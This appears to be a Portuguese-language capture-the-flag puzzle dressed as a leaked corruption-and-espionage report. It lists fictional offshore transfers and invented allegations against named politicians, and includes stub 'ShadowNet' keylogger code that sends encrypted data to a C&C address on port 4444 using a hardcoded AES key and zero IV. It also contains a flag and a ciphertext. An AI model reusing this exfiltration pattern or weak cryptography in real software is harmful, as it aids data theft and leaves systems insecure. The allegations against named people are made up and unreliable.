Relatório Financeiro Confidencial – Operação Automata – Parte 2: Expansão da Rede e Novas Evidências

Análise das Extensões da Rede de Corrupção e Novas Operações Ilícitas

Data: <CENSURADO>

Autora: A.Z.

Sumário

---

1. Introdução

Após o vazamento inicial da **Operação Automata**, novas evidências foram descobertas que expandem significativamente a compreensão da rede de corrupção e espionagem. Este relatório foca nas operações financeiras adicionais, novas conexões com figuras políticas influentes e a implementação de espionagem tecnológica para sustentar e expandir a rede ilícita.

2. Expansão das Operações Financeiras

2.1. Transações Adicionais e Diversificação de Ativos

Data	Remetente	Destinatário	Montante (USD)	Motivo
12/03/2025	Conta Offshore JKL789	Corporação MNO Corp.	2,000,000	Financiamento de campanhas
18/03/2025	Corporação MNO Corp.	Conta Offshore PQR012	1,500,000	Compra de tecnologia
25/04/2025	Conta Offshore PQR012	Organização Criminosa STU	3,000,000	Expansão de operações
02/05/2025	Organização Criminosa STU	Conta Offshore JKL789	2,500,000	Lavagem de dinheiro

3. Novas Conexões Políticas

3.1. Lista de Políticos Envolvidos

Nome do Político	Cargo	País	Ligações com a Rede
Maria Fernanda Sousa	Deputada Federal	Brasil	Financiamento de campanhas
Alejandro Martínez	Ministro da Economia	Espanha	Transferências para contas offshore
Elena Petrova	Senadora	Rússia	Parcerias comerciais obscuras
David Thompson	Governador	Estados Unidos	Contratos fraudulentos

3.2. Trechos de Documentos Internos

Documento de Estratégia – 05 de abril de 2025

📎 Objetivo: Expandir a influência política nos mercados emergentes.

Ações:

1. Financiar campanhas eleitorais através de contas offshore para garantir apoio político.
2. Estabelecer parcerias com figuras chave em governos estratégicos.
3. Investir em tecnologias emergentes para manter a vantagem competitiva.
4. Monitorar e influenciar políticas econômicas que beneficiem os interesses da rede.

4. Operações de Espionagem Tecnológica

4.1. Implementação de Malware Avançado

A rede identificada utilizou um malware personalizado denominado **"ShadowNet"** para espionagem industrial e interceptação de comunicações internas de corporações concorrentes.

Características do ShadowNet:

- **Keylogging:** Captura de todas as teclas pressionadas nos dispositivos infectados.
- **Captura de Tela:** Registro periódico de imagens das telas dos usuários.
- **Intercepção de E-mails:** Acesso e extração de mensagens de e-mail internas.
- **Comunicação com Servidores C&C:** Envio de dados roubados para servidores controlados pela rede.

4.2. Trechos de Código do Malware

```
import os
import time
import json
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import socket

def capture_keys():
    with open("keylog.txt", "a") as file:
        file.write("Capturando teclas...\n")

# Função para enviar dados ao servidor C&C
def send_to_server(data):
    server_ip = '192.168.1.100'  # Endereço IP do servidor C&C
    server_port = 4444            # Porta do servidor C&C

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((server_ip, server_port))
            s.sendall(data)
            print(f"Dados enviados para o servidor C&C: {data}")
    except Exception as e:
        print(f"Erro ao enviar dados: {e}")

# Função para criptografar dados usando AES-256-CBC
def encrypt_data(plaintext):
    key = b'a1b2c3d4e5f60718293a4b5c6d7e8f90'

    # Vetor de Inicialização (IV) de 16 bytes (inicializado com zeros)
    iv = b'\x00' * 16  # IV de 16 bytes
```

```
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(pad(plaintext.encode('utf-8'), AES.block_size))
    return base64.b64encode(ciphertext)

def main():
    while True:
        capture_keys()
        data = "dados roubados"
        encrypted_data = encrypt_data(data)
        send_to_server(encrypted_data)
        time.sleep(60)  # Espera 60 segundos antes de capturar novamente

if __name__ == "__main__":
    main()
```

4.3. Logs de Comunicação Interceptados (Decifrados)

```
[2025-04-15 10:23:45] Conexão estabelecida com servidor C&C: 192.168.1.100
[2025-04-15 10:24:10] Dados enviados: {"type": "keylog", "data": "TAC{LogHere:6a731f23e72e9d0
0f9bc4c8e5835cf163f0fd00fc59edffa948e70dc8d64ba12}"}
[2025-04-15 10:25:05] Dados enviados: {"type": "screenshot", "data": "screenshot1.png"}
```

5. Parte Final

Disponibilizarei a localização do último documento a partir da próxima mensagem cifrada. Contudo, antes de prosseguir, lembre-se: o diabo está nos detalhes

🔒 dX1gG2P0Vye6IQZMGSI7AoAhcOKye772pBV88rS4FhtFZ4ByMDGi2+DNJnyCbtTi